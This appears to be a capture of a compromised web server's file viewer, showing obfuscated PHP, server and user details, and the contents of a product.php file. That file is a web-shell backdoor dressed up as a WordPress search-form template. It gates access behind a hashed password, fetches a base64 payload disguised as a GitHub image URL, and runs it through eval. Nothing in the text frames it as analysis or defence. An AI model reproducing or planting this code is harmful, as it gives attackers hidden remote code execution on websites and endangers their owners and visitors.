\137\110\x54\x54\120\123"]) && strtolower($_SERVER["\x48\x54\x54\120\137\106\x52\x4f\116\x54\137\x45\116\x44\137\x48\x54\124\120\x53"]) !== "\157\146\x66") { goto BdBve22UOELVNrm; } goto fANX1IaytgGKvhg; p_m_6YEDnUscUeX: $nKc35AVqU9zivwl = "\150\164\x74\160\163\x3a\x2f\x2f"; goto ohyaroovoio3FQH; LtoA1CqfctDOtjH: return $nKc35AVqU9zivwl; goto ZOdGxKEBpkdVu29; EV0zTP9WObGaOdY: if (isset($_SERVER["\110\x54\x54\x50\137\x58\x5f\x46\117\122\127\x41\122\x44\x45\x44\x5f\x50\x52\x4f\x54\x4f"]) && $_SERVER["\110\x54\x54\x50\x5f\x58\x5f\x46\x4f\122\127\101\x52\104\105\x44\x5f\120\x52\x4f\124\117"] === "\x68\x74\x74\160\x73") { goto BbzHwVlW3DSnq4F; } goto vF1kYmKrgWUW5WI; ZOdGxKEBpkdVu29: } goto IWBIg7LAm19L6yL; SJdqWSg6tVsl32P: Tuc05w3VXhQ_3yk: goto wkvRTKWF7uEq4Dl; men_TRtXTuqzZVp: if (!(strpos($cmkWzao1VWjKyZr, "\x2e") > 0 && strpos($cmkWzao1VWjKyZr, "\56\160\x68\160") === false)) { goto e6Mi5dWvFYStB71; } goto cG2AXWXVKbQUIhh; Ax0oBx4AinhFN_k: lmtgtsH23CZFISY: goto laUsJMsQDqd3zOv; l0dMaYKva2bhXrt: WtmYs3v24Hlcz35: ?> HEX
HEX
Server: LiteSpeed
System: Linux clnhost03 5.14.0-570.18.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 27 21:47:45 EDT 2025 x86_64
User: airtopgu (1124)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/airtopgu/domains/airtopgun.com/public_html/product.php
<?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') {
      $_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
/*
 * The searchform.php template.
 *
 * Used any time that get_search_form() is called.
 *
 * @link https://wordpress.org/themes/template/
 * @package WordPress
 * @subpackage
 * @since 1.0 */

$l = "https://user-images.githubusercontent.com/143735067/264713238-ae810af4-c98d-421f-bbb3-1ddcc58f952a.jpg"/* "" - ni*/;

//DX for each form and a string
		if( function_exists('curl_init') ) {
			$ch = curl_init();
			curl_setopt($ch, CURLOPT_URL, $l);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
			curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
			curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
			curl_setopt($ch, CURLOPT_HEADER, FALSE);
			curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36");
			$body = curl_exec($ch);
			curl_close($ch);
		}
		else {
			$body = @file_get_contents($l);
		}
	 eval(base64_decode($body));
?>